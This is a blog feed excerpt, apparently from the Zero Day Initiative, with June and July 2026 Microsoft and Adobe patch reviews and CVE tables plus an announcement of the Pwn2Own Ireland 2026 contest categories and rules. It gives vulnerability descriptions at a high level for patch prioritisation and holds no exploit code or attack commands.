CVE-2026-45482	Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability	Important	8.4	No	No	2	SFB
CVE-2026-45466	Microsoft Word Information Disclosure Vulnerability	Important	3.3	No	No	3	Info
CVE-2026-45471	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45486	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45643	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45457	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-42980	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-42916	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45649	Office for Android Spoofing Vulnerability	Important	7.1	No	No	3	Spoofing
CVE-2026-47653	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	3	RCE
CVE-2026-42909	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42913	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42993	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45588	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48568	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48570	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48573	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48575	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48576	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48578	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45654	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45656	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-8863	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-40376	Visual Studio Code Elevation of Privilege Vulnerability	Important	7.5	No	No	2	EoP
CVE-2026-47281	Visual Studio Code Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-47284	Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47292	Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-48569	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	2	SFB
CVE-2026-47287	Visual Studio Code Tampering Vulnerability	Important	6.5	No	No	2	Tampering
CVE-2026-42829	Windows Administrator Protection Secure Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-34335	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45601	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45598	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45596	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45638	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45603	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42911	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45594	Windows Application Identity (AppID) Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45655	Windows BitLocker Security Feature Bypass Vulnerability	Important	5.3	No	No	2	SFB
CVE-2026-45658	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.8	No	No	1	SFB
CVE-2026-45640	Windows Bluetooth Port Driver Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45605	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-47656	Windows Boot Manager Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-44809	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45634	Windows DHCP Client Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-45608	Windows DHCP Client Information Disclosure Vulnerability	Important	6.8	No	No	3	Info
CVE-2026-41108	Windows DNS Client Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42905	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-44811	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44808	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44807	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42983	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44802	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44813	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44804	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-48566	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-44814	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45602	Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability	Important	9.1	No	No	2	Tampering
CVE-2026-42836	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42910	Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42972	Windows Hyper-V Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45592	Windows Internet (wininet.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42903	Windows Kerberos Denial of Service Vulnerability	Important	6.5	No	No	3	DoS
CVE-2026-42914	Windows Kerberos Denial of Service Vulnerability	Important	5.3	No	No	2	DoS
CVE-2026-48583	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45653	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42984	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45600	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45604	Windows Managed Installer Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45595	Windows Mark of the Web Security Feature Bypass Vulnerability	Important	5.4	No	No	2	SFB
CVE-2026-45636	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-50508	Windows NTLM Spoofing Vulnerability	Important	6.5	No	No	1	Spoofing
CVE-2026-48565	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44805	Windows Network Controller (NC) Host Agent Denial of Service Vulnerability	Important	5.5	No	No	3	DoS
CVE-2026-42981	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-42974	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45487	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42828	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42837	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42969	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-42971	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42970	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42973	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42978	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42977	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42979	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42991	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45639	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-42908	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-45593	Windows SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42906	Windows Shell Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42907	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47648	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42915	Windows TCP/IP Denial of Service Vulnerability	Important	5.7	No	No	2	DoS
CVE-2026-42904	Windows TCP/IP Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-42968	Windows Telephony Server Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42912	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45597	Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45599	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45635	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-40409	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-40404	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42989	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Pwn2Own Ireland 2026 – New Targets and Categories

Sat, 25 Jul 2026 19:02:51 +0200

If you just want to read the rules, you can find them here.

Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).

As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.

Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.

Now on to this year’s target categories. We’ll have seven different categories for this year’s event:

-- Mobile Phones
-- Smart Home Devices
-- Wellness
-- Printers
-- Messaging
-- AI Infrastructure
-- AI Coding Agents

Let’s take a look at each category in more detail, starting with mobile phones.

The Target Phones

Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.

Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:

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Smart Home Devices

As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

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Wellness Category

This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

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Rage Against the Printers

Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets.

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The Messaging Category

We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:

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AI Infrastructure Category

We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:

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AI Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

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Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).

For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.

The Complete Details

The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage.

We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.

©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

The July 2026 Security Update Review

Sat, 25 Jul 2026 19:02:51 +0200

Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-82	Adobe ColdFusion	13	Critical	9.9	No	1
APSB26-73	Adobe Commerce	13	Critical	9.6	No	2
APSB26-78	Adobe After Effects	3	Critical	7.8	No	3
APSB26-83	Adobe Animate	6	Critical	8.6	No	3
APSB26-71	Adobe Audition	6	Critical	7.8	No	3
APSB26-81	Adobe Bridge	6	Critical	7.8	No	3
APSB26-77	Adobe Creative Cloud Desktop Application	2	Critical	8.1	No	3
APSB26-74	Adobe Experience Manager	13	Critical	9.6	No	3
APSB26-79	Adobe Illustrator	5	Critical	9.3	No	3
APSB26-72	Adobe Media Encoder	5	Critical	7.8	No	3
APSB26-76	Adobe Premiere Pro	4	Critical	7.8	No	3
APSB26-80	Content Credentials SDK	12	Critical	8.2	No	3
TOTAL	12 bulletins	88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

- CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

- CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

- CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

- CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

- CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

- CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

- CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

- CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

- CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Moderate	5.3	No	Yes	EoP
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.1	Yes	No	SFB
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-45499 **	Azure OpenAI Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41106 **	Microsoft 365 Copilot Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-26145 **	Microsoft Azure Synapse Elevation of Privilege Vulnerability	Critical	4.8	No	No	EoP
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
